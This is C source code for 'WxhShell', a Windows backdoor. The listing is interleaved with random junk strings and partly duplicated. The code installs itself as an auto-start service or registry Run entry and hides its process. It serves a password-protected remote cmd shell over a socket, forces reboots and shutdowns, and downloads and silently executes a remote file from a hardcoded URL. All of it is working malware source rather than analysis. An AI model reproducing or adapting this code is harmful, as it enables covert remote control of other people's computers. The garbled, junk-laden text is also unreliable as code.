  case 'd': { `C"Slz::  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 32jOs|<\  
    if(Boot(SHUTDOWN)) Rro|P_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3nv7Uz  
    else { @>f]0,"(  
    closesocket(wsh); )\_xB_K\  
    ExitThread(0); yA_;\\  
    } 9i@AOU  
    break; x][vd^iW  
    } |gEA.} pY  
  // 获取shell R_ J=x  
  case 's': { 3U=q3{%1  
    CmdShell(wsh); [Z6]$$!#2  
    closesocket(wsh); j-|YE?AA  
    ExitThread(0); GXB4&Q!C  
    break; RL/~E xYC  
  } BX$t |t;!m  
  // 退出 e'aKI]>a  
  case 'x': { :0>wm@qCQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v<bq1QG  
    CloseIt(wsh); `HU`=a&d  
    break; 0 z{S@  
    } n m(yFX?=  
  // 离开 f" Yj'`6  
  case 'q': { =BJ/ZM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~a m]G0  
    closesocket(wsh); )l*H$8  
    WSACleanup(); }/BwFB+(/  
    exit(1); ?TLEZlB2"  
    break; FV^CSaN[R  
        } WmLl.Vv=  
  } awuUaE  
  } +(3"XYh  
; iQ@wOL]  
  // 提示信息 {LTb-CB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qfo'w%px  
} H4 Y7p  
  } .E!7}O6  
)a,-Hc:Vz  
  return; jzV*V<  
} Malt 7M  
p%Ae"#_X%  
// shell模块句柄 ZV}BDwOFI  
int CmdShell(SOCKET sock) Pa 2HFy2  
{ ~jAOGo/&6  
STARTUPINFO si; =BY)>0?z  
ZeroMemory(&si,sizeof(si)); B5Rmz&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )xCpQ=nS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]3hz{zqV^  
PROCESS_INFORMATION ProcessInfo; U,)Ngnd  
char cmdline[]="cmd"; _v4TyJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _=B(jJZ   
  return 0; ?@Z~i]gE[V  
} mH*42XC*  
b,5H|$nLu  
// 自身启动模式 #{7=  
int StartFromService(void) q]:+0~cz  
{ n"Ec%n  
typedef struct l)D18  
{ [,Ts;Hy6Q  
  DWORD ExitStatus; < 'op  
  DWORD PebBaseAddress; ;&e5.K+.Z  
  DWORD AffinityMask; VuFM jY  
  DWORD BasePriority; LfyycC2E  
  ULONG UniqueProcessId; !;lA+O-t  
  ULONG InheritedFromUniqueProcessId; >4GhI65  
}   PROCESS_BASIC_INFORMATION; 7>xxur&  
N'Va&"&73>  
PROCNTQSIP NtQueryInformationProcess; _6THyj$f  
`m<l8'g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cca( oV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N J:]jd  
k#`.!yI,  
  HANDLE             hProcess; O]w&uim  
  PROCESS_BASIC_INFORMATION pbi; W5}.WFu  
CU6rw+Vax  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2N)=fBF%-  
  if(NULL == hInst ) return 0; qfE/,L(B  
%^^2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :BCjt@K}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ttLC hL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -Qo`UL.}  
dW;{,Q  
  if (!NtQueryInformationProcess) return 0; X;sl?8HG!<  
`Q1T-H_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #!h:w  
  if(!hProcess) return 0; ^R1 nOo/  
 \A:m<::  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +OK.[ji?  
bj(U?$  
  CloseHandle(hProcess); kxoJL6IC  
O(,Ezy x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ru3nnF_I  
if(hProcess==NULL) return 0; s['F?GWg  
JO5~Vj_"  
HMODULE hMod; ^C>i(j&  
char procName[255]; Lcplc"C  
unsigned long cbNeeded; 9C[3w[G~C  
Zp@p9][C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QpS0iUG  
Kr=DoQ."d8  
  CloseHandle(hProcess); hnL"f[p@gC  
s!Y>\3rMW  
if(strstr(procName,"services")) return 1; // 以服务启动 e{Om W  
82Nh;5T r  
  return 0; // 注册表启动 r$;DA<<|<c  
} .qy._C2(  
w|>:mQnU  
// 主模块 ?A(=%c|,g  
int StartWxhshell(LPSTR lpCmdLine) g63:WX-\  
{ W2tIt&{  
  SOCKET wsl; 9+@_ZI-  
BOOL val=TRUE; PmvTCfsg  
  int port=0; (Z)  
  struct sockaddr_in door; Ha$|9li`  
?ZdHuuDN~  
  if(wscfg.ws_autoins) Install(); Mb3,!  
+%eMm.(  
port=atoi(lpCmdLine); ,V)yOLApVj  
vkE6e6,Qc  
if(port<=0) port=wscfg.ws_port; nE]R0|4h  
$k@reN9  
  WSADATA data; 9XF+? x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P~;NwHZ?k  
mn*.z!N=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q ]rsp0P2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +F&w~UT  
  door.sin_family = AF_INET; |GL#E"[&'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {\`#,[  
  door.sin_port = htons(port); q{ @>2AlK  
o?$D09j;;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A[XEbfDO  
closesocket(wsl); U;OJ.a9  
return 1; `zC_?+  
} p4<&NMG  
)oG_x{  
  if(listen(wsl,2) == INVALID_SOCKET) { |?V6__9  
closesocket(wsl); T$GhE  
return 1; $Xk1'AzB8  
} )eY3[>`  
  Wxhshell(wsl); cliP+#  
  WSACleanup(); 3 _:yHwkD  
j?/T7a^  
return 0; e_g7E+6  
*M/3 1qI  
} FlD !?  
& @^|=>L  
// 以NT服务方式启动 DDN#w<#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5Tb93Q@c  
{ }OI;M^5L  
DWORD   status = 0; 65=i`!f  
  DWORD   specificError = 0xfffffff; N#C,_ k  
&Dqg<U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H ~J#!3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AmRppbj/wO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Th`IpxV  
  serviceStatus.dwWin32ExitCode     = 0; /JtKn*?}:>  
  serviceStatus.dwServiceSpecificExitCode = 0; \W( C=e  
  serviceStatus.dwCheckPoint       = 0; hn)mNb!  
  serviceStatus.dwWaitHint       = 0; (O,|1  
,8c`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $}aLFb  
  if (hServiceStatusHandle==0) return; o { \cCZ"  
d#vq+wR  
status = GetLastError(); P`Anf_  
  if (status!=NO_ERROR) f`RcfYt  
{ Uj0DX >I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /AjGj*O  
    serviceStatus.dwCheckPoint       = 0; Q6RBZucv  
    serviceStatus.dwWaitHint       = 0; kE UfQLbn  
    serviceStatus.dwWin32ExitCode     = status; Goz9"yazg  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;?yd;GOt)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "[BuQ0(g  
    return; Kv{i_%j   
  } w \i#  
(lwkg8WC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FoInJ(PDH  
  serviceStatus.dwCheckPoint       = 0; 1}QU\N(t  
  serviceStatus.dwWaitHint       = 0; v\c.xtjI5x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bMxzJRrNg  
} B+*F?k[  
,l#V eC  
// 处理NT服务事件,比如:启动、停止 c+_F nA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g Uy >I(  
{ @PU%BKe  
switch(fdwControl) xQm!  
{ enO5XsIc  
case SERVICE_CONTROL_STOP: )`,3/i9C$  
  serviceStatus.dwWin32ExitCode = 0; :p=IZY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PE]jYyyHtU  
  serviceStatus.dwCheckPoint   = 0; V!DQ_T+a  
  serviceStatus.dwWaitHint     = 0; Fj7cI +  
  { (m-(5 CaJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S)n ~^q  
  } My5h;N@C  
  return; BQ)zm  
case SERVICE_CONTROL_PAUSE: pI( OI>~3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )4D |sN  
  break; &xj?MgdNL  
case SERVICE_CONTROL_CONTINUE: -SlLX\>p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [L{q  
  break; @2L+"=u#  
case SERVICE_CONTROL_INTERROGATE: Z<0M_q9?MO  
  break; 'eLO#1Ipf  
}; U9SByqa1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b_|`jHes  
} >(|T]u](q  
W-<C%9O!  
// 标准应用程序主函数 t1 OnA#]/_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *<i { Mb Q  
{ vc^qpOk  
SYw>P1  
// 获取操作系统版本 u1~H1 ]Ii  
OsIsNt=GetOsVer(); KaauX m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >TeTa l  
V[(zRGa{  
  // 从命令行安装 (caxl^=  
  if(strpbrk(lpCmdLine,"iI")) Install(); ido'<;4>  
?N~rms e  
  // 下载执行文件 h&{9 &D1t  
if(wscfg.ws_downexe) { O< v0{z09*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l7ZqkGG]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]KA|};>ow  
} ^$FHI_  
AcwLs%'sx  
if(!OsIsNt) { f2`[skNj  
// 如果时win9x,隐藏进程并且设置为注册表启动 dli?/U@hO  
HideProc(); :Z- = 1b~  
StartWxhshell(lpCmdLine); uv%T0JA/  
} 7s4G|N[wR\  
else ?rKewdGY  
  if(StartFromService()) ,j:`yB]4,  
  // 以服务方式启动 ==RYf*d  
  StartServiceCtrlDispatcher(DispatchTable); ~dkS-6q~Q  
else Z]@my,+Z;  
  // 普通方式启动 ey_3ah3x  
  StartWxhshell(lpCmdLine); ,ZHIXylZ  
QgqR93Ic  
return 0; dAh&Z:86\  
} eBFsKOtu  
%|*tL7  
H!y1&  
_rdEur C6  
=========================================== FMc$?mm  
I% ivY  
mp*&{[XoVC  
hbl:~O&a/  
H{x'I@+  
% r`hW \4{  
"  TTZb.  
^RAst1q7  
#include <stdio.h> <'>c`80@\*  
#include <string.h> v,I4ozDx  
#include <windows.h> ve49m%NQ  
#include <winsock2.h> DI{VJ&n66  
#include <winsvc.h> E z?O gE{  
#include <urlmon.h> I q]+O Q  
-y|>#`T/  
#pragma comment (lib, "Ws2_32.lib") )"/.2S;  
#pragma comment (lib, "urlmon.lib") [_Fj2nb*  
<U%4$83$  
#define MAX_USER   100 // 最大客户端连接数 U>H"N1  
#define BUF_SOCK   200 // sock buffer r7+"i9  
#define KEY_BUFF   255 // 输入 buffer F0t-b%w,  
I<L  
#define REBOOT     0   // 重启 Y``50{7  
#define SHUTDOWN   1   // 关机 xAbx.\  
1YV ;pEw3w  
#define DEF_PORT   5000 // 监听端口 e{EKM4  
w j !YYBH  
#define REG_LEN     16   // 注册表键长度 A=JPmsj.  
#define SVC_LEN     80   // NT服务名长度 {$-lXw4  
Hb55RilC  
// 从dll定义API D_]4]&QYT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -N $4\yp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :[xFp}w{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uH="l.u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }$i Kz*nx|  
? l/VCEZP  
// wxhshell配置信息 lHerEv<ja  
struct WSCFG { O?L6Ues  
  int ws_port;         // 监听端口 L{1MyR7`I+  
  char ws_passstr[REG_LEN]; // 口令 q4=Gj`\43  
  int ws_autoins;       // 安装标记, 1=yes 0=no [U'I3x,  
  char ws_regname[REG_LEN]; // 注册表键名 c|m*< i  
  char ws_svcname[REG_LEN]; // 服务名 NXo$rf:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4zKmoYt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x7J8z\b"O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ##!idcC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  PgI H(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (SGX|,5X7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dD YD6  
!xcLJ5^W  
}; Oxsx\f_  
_}+Aw{7!r  
// default Wxhshell configuration 0"}qND  
struct WSCFG wscfg={DEF_PORT, ~/^q>z!\4  
    "xuhuanlingzhe", `& ufdn\j  
    1, uaghB,i'n  
    "Wxhshell", #djby}hi  
    "Wxhshell", m&vuBb3  
            "WxhShell Service", RwKnNIp  
    "Wrsky Windows CmdShell Service", >vQ8~*xd  
    "Please Input Your Password: ", .JCd:'-  
  1, L7\V^f%yCm  
  "http://www.wrsky.com/wxhshell.exe", Rtpk_ND!  
  "Wxhshell.exe" 9U&~H*Hf  
    }; RK )1@Tz7!  
<ks+JkW_  
// 消息定义模块 Hq$&rNnq\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {$qE>ic  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M/?eDW/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &~=FX e0S  
char *msg_ws_ext="\n\rExit."; _cvA1Q"  
char *msg_ws_end="\n\rQuit."; tVQq,_9C  
char *msg_ws_boot="\n\rReboot..."; #1fL2nlP*E  
char *msg_ws_poff="\n\rShutdown..."; N_wj,yF*  
char *msg_ws_down="\n\rSave to "; 8=!uQQ  
HOt,G _{  
char *msg_ws_err="\n\rErr!"; 56w uk [)  
char *msg_ws_ok="\n\rOK!"; W {A4*{  
.n[;H;  
char ExeFile[MAX_PATH]; bT>MZK8b  
int nUser = 0; aAKwC01?  
HANDLE handles[MAX_USER]; BSH2Kq  
int OsIsNt; *T6*Nxs0k  
+~(SeTY  
SERVICE_STATUS       serviceStatus; KE[!{O^(a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C&|K7Zp0v  
hk+8s\%-  
// 函数声明 (^pIB~.z  
int Install(void); ?7=c `  
int Uninstall(void); 4SVIdSA  
int DownloadFile(char *sURL, SOCKET wsh); [[$dPa9  
int Boot(int flag); =xw+cs1,x  
void HideProc(void); @*Tql:Qcd^  
int GetOsVer(void); ylm # Xa  
int Wxhshell(SOCKET wsl); 3 C{A  
void TalkWithClient(void *cs); HK NT. a  
int CmdShell(SOCKET sock); gFpub_  
int StartFromService(void); "?%2`*\  
int StartWxhshell(LPSTR lpCmdLine); TB}6iIe  
'uC=xG.*}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W{m_yEOf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mF:Pplf<  
=U7P\s w2  
// 数据结构和表定义 %u}#|+8}  
SERVICE_TABLE_ENTRY DispatchTable[] = 60TM!\  
{ <$(y6+lY  
{wscfg.ws_svcname, NTServiceMain}, }1 ,\ *)5  
{NULL, NULL} ]sTbEw.[  
}; s<>d& W 0=  
po\(O8#5U  
// 自我安装 2cEvsvw>  
int Install(void) {8I,uQO  
{ 7Q^p|;~a  
  char svExeFile[MAX_PATH]; brCXimG&jo  
  HKEY key; 'Zs3b4n8  
  strcpy(svExeFile,ExeFile); {o SdVRI  
6l'J!4*qY  
// 如果是win9x系统,修改注册表设为自启动 U ,NGV0  
if(!OsIsNt) { YdDP;, DA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  VBUrtx:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iGPrWe@.  
  RegCloseKey(key); W_L*S4 ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w_h{6Kc<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cgnMoBIc  
  RegCloseKey(key); LLc^SP j  
  return 0; Q.?(h! )9  
    } "1$X5?%  
  } 0qINa:Ori  
} EXMW,  
else { !9.k%B:  
QJ&]4*>a  
// 如果是NT以上系统,安装为系统服务 STl8h}C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -Ew>3Q  
if (schSCManager!=0) E.%V 0}  
{ fMIRr5  
  SC_HANDLE schService = CreateService 5dGfO:Dy_  
  ( <2d)4@B=  
  schSCManager, Pbd[gKX_  
  wscfg.ws_svcname, _@i-?Q  
  wscfg.ws_svcdisp, *I!R0;HT  
  SERVICE_ALL_ACCESS, }uNj#Uf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mqHcD8X  
  SERVICE_AUTO_START, wPEK5=\4Ob  
  SERVICE_ERROR_NORMAL, mv>0j<C91  
  svExeFile, mPU}]1*p  
  NULL, Zs(BViTb|  
  NULL, IsmZEVuC  
  NULL, hraR:l D  
  NULL, eR4ib-nS  
  NULL OK)>QGl  
  ); wz1nV}  
  if (schService!=0) -oUGmV_  
  { E mg=,  
  CloseServiceHandle(schService); tm/=Oc1p  
  CloseServiceHandle(schSCManager); ,4S[<(T"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t>Ye*eR*`U  
  strcat(svExeFile,wscfg.ws_svcname); ?N<,;~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4[i 3ckFT,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XD?Lu _.  
  RegCloseKey(key); BTD_j&+(  
  return 0; EnGh&]  
    } &\I<j\F2/  
  } m.rV1#AI  
  CloseServiceHandle(schSCManager); B `.aQ  
} [(2^oTSRaq  
} fP:]s@$  
mKjTJzS  
return 1; O&MH5^I  
} qdLzB  
/O<~n%< G  
// 自我卸载 9 Jw, ls  
int Uninstall(void) >yr;Y4y7K  
{ /lbj!\~  
  HKEY key; W/\pqH  
T;5VNRgpI  
if(!OsIsNt) { *v%gNq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -.r"|\1X  
  RegDeleteValue(key,wscfg.ws_regname); yUWc8]9\W  
  RegCloseKey(key); D_?Tj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~r?tFE* +  
  RegDeleteValue(key,wscfg.ws_regname); KTt+}-vP^  
  RegCloseKey(key); !zt>& t  
  return 0; `-%dHvB^R  
  } g4=C]\1  
} IqV" 4  
} Ux1j+}y  
else { -8l(eDm"m  
q_6lD~~q^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sZ~03QvkT  
if (schSCManager!=0) |||m5(`S  
{ ^mjU3q{;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @Co6$<  
  if (schService!=0) $3B%4#s  
  { OwEV$Q  
  if(DeleteService(schService)!=0) { %f'=9pit  
  CloseServiceHandle(schService); epKr6 xq  
  CloseServiceHandle(schSCManager); I{0cnq/  
  return 0; !@])Ut@tN  
  } 0ETT@/)]z  
  CloseServiceHandle(schService); w&f>VB~,1  
  } CVvl &on  
  CloseServiceHandle(schSCManager); *#E_KW1RV  
}  [Rub  
} 4i.&geX A.  
@54$IhhT~  
return 1; x&^Xgi?  
} za}Kd^KeB  
M*bsA/Z  
// 从指定url下载文件 Y- Q)sv  
int DownloadFile(char *sURL, SOCKET wsh) (&NLLrsio  
{ [u;(4sa}  
  HRESULT hr; H>D sAHS  
char seps[]= "/"; Y@:l!4DI  
char *token; _f8H%Kgk;  
char *file; MM]0}65KG  
char myURL[MAX_PATH]; M"W#_wY;  
char myFILE[MAX_PATH]; 50dN~(;p  
)b (+=  
strcpy(myURL,sURL); \BH?GMoP  
  token=strtok(myURL,seps); W!T[ ^+  
  while(token!=NULL) s-5 #P,Lw  
  { @67GVPcxl  
    file=token; n|?sNM<J3  
  token=strtok(NULL,seps); OM^`P  
  } =$+0p3[r  
wl%ysM| x  
GetCurrentDirectory(MAX_PATH,myFILE); m' S{P:TK  
strcat(myFILE, "\\"); % >a /m.$  
strcat(myFILE, file); "=K3sk  
  send(wsh,myFILE,strlen(myFILE),0); V~#5^PF{  
send(wsh,"...",3,0); I$S*elveG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jl}!UG  
  if(hr==S_OK) Xs|d#WbX  
return 0; *;McX  
else 9{U@s  
return 1; *g %bdO  
M@7U]X$g  
} !~RK2d  
kCEo */,  
// 系统电源模块 _VjaTw8iM  
int Boot(int flag) #tpz74O  
{ @YRy)+  
  HANDLE hToken; 5 (!FQ  
  TOKEN_PRIVILEGES tkp; ?u&|'ASo  
7[0Mr,^  
  if(OsIsNt) { =w;-4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -xLK/QAL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;nL7Hizo,  
    tkp.PrivilegeCount = 1; a#+$.e5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |A,.mOT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '5*&  
if(flag==REBOOT) { `KLr!<i()  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nC !NZ  
  return 0; fj['M6+wd  
} Cq7 uy  
else { T%9t8?I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]l h=ZC  
  return 0; ^i8biOSZu  
} rN7JJHV  
  } )g?jHm-p\  
  else { & ^1 b]f  
if(flag==REBOOT) { ;qy;;usa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )(yaX  
  return 0; *Q?8OwhJ  
} tS\Db'C7  
else { A-.Wd7^~*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Im-qGB0C  
  return 0; Z_dL@\#|  
} K:qc "Q=C  
} vol (%wB  
} ,}g](!m  
return 1; ]8OmYU%6V  
} h+!R)q8M  
wj0_X;L  
// win9x进程隐藏模块 \p}GW  
void HideProc(void) k >.U!  
{ 6Y6t.j0vN.  
w;(=w N\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S&y${f  
  if ( hKernel != NULL ) /qwY/^  
  { !mWm@ }Ujg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _<2{8>EVf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AB0}6g^O  
    FreeLibrary(hKernel); ~.J*_0~Ze  
  } 6vTnm4  
p:$v,3:  
return; nO'C2)bBSG  
} *' es(]W  
DzA'MX  
// 获取操作系统版本 htrtiJ1  
int GetOsVer(void) eJn_gKWb  
{ A7XA?>~+|  
  OSVERSIONINFO winfo; A.7lo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e2tru_#  
  GetVersionEx(&winfo); ?IS[2 v$   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +_vf=d  
  return 1; ?G7*^y&Q  
  else @c"s6h&  
  return 0; c;(Fz^&_  
} 5kWzD'!^  
vA Z kT"  
// 客户端句柄模块 @].!}tz  
int Wxhshell(SOCKET wsl) @p/"]zf  
{ k#~oagW_Gw  
  SOCKET wsh; *81/q8Az  
  struct sockaddr_in client; sK9RViqF\  
  DWORD myID; FqGMHM\J  
)MTf  
  while(nUser<MAX_USER) w8 N1-D42  
{ y4 ]5z/  
  int nSize=sizeof(client); Y=_*Ai  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g] ]6)nT  
  if(wsh==INVALID_SOCKET) return 1; =+?OsH v  
s S3RK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W?!rqo2SP  
if(handles[nUser]==0) K5^zu`19  
  closesocket(wsh); LH @B\ mS  
else iFcSz  
  nUser++; ~ Al3Dv9x  
  } }wBpBw2J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  huyfo1(  
Btr>ek  
  return 0; cBOK@\x:Wi  
} c05-1  
sKs`gi2  
// 关闭 socket SS8$.ot  
void CloseIt(SOCKET wsh) ./.aLTh  
{ P|lDW|}D@  
closesocket(wsh); O8v9tGZoh  
nUser--; IZ^:wIKo{  
ExitThread(0); ]B~ (yh  
} V!yBH<X  
1=9GV+`n  
// 客户端请求句柄 }hm_Ws  
void TalkWithClient(void *cs)  5 b,|6  
{ ypemp=+(r  
-`z%<)!Y  
  SOCKET wsh=(SOCKET)cs; n_Y7*3/b-o  
  char pwd[SVC_LEN]; UH+#Nel+!  
  char cmd[KEY_BUFF]; qkp0'f*}  
char chr[1]; $T66%wX  
int i,j; o /1+ }f  
0Y0`$   
  while (nUser < MAX_USER) { nra)t|m  
-k2|`t _  
if(wscfg.ws_passstr) { ?|}qT05  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7h41E#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9B83HV4J  
  //ZeroMemory(pwd,KEY_BUFF); T$<'ZC  
      i=0; #D?w,<_8,  
  while(i<SVC_LEN) { tu{paQ  
aTvLQ@MQ  
  // 设置超时 }y J,&N'p  
  fd_set FdRead; ^'Rs`e  
  struct timeval TimeOut; 9jx>&MnWs  
  FD_ZERO(&FdRead); M$>Nd6,@N  
  FD_SET(wsh,&FdRead); aZa1eE  
  TimeOut.tv_sec=8; $[Nf?`f(t_  
  TimeOut.tv_usec=0; )"{}L.gC6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d1t_o2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +7 j/.R  
4f ~q$Sf]<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l g ,%  
  pwd=chr[0]; Y$)y:.2#  
  if(chr[0]==0xd || chr[0]==0xa) { aM#xy6:XG  
  pwd=0; JX&%5sn(  
  break; eAjR(\f>  
  } 63$`KG3  
  i++; lZ2g CZ  
    } 55] MRv  
u WdKG({][  
  // 如果是非法用户,关闭 socket cG@W o8+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kJNg>SN*@#  
} jeA2y jAC  
C{G=Y[?oc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -{z[.v.p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'IVC!uL,%  
0@E I@X;q  
while(1) { SJ;{  Hg  
_F4=+dT|  
  ZeroMemory(cmd,KEY_BUFF); 2S[:mnK  
~d,$ nZ"z  
      // 自动支持客户端 telnet标准   `qCL&(`%  
  j=0; .A6pPRy e  
  while(j<KEY_BUFF) { 9asA-'fZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (sH4 T>  
  cmd[j]=chr[0]; -=UvOzw  
  if(chr[0]==0xa || chr[0]==0xd) { K9VP@[zbJ  
  cmd[j]=0; UMFM.GI  
  break; a~JZc<ze  
  } v/$<#2|  
  j++; U%#Vz-r  
    } 4&e<Sc64  
\)aFYDq#\  
  // 下载文件 j':<7n/A  
  if(strstr(cmd,"http://")) { Pd `~#!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xH,e$t#@@~  
  if(DownloadFile(cmd,wsh)) R{aqn0M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0A8G8^T  
  else =1)9>=}  
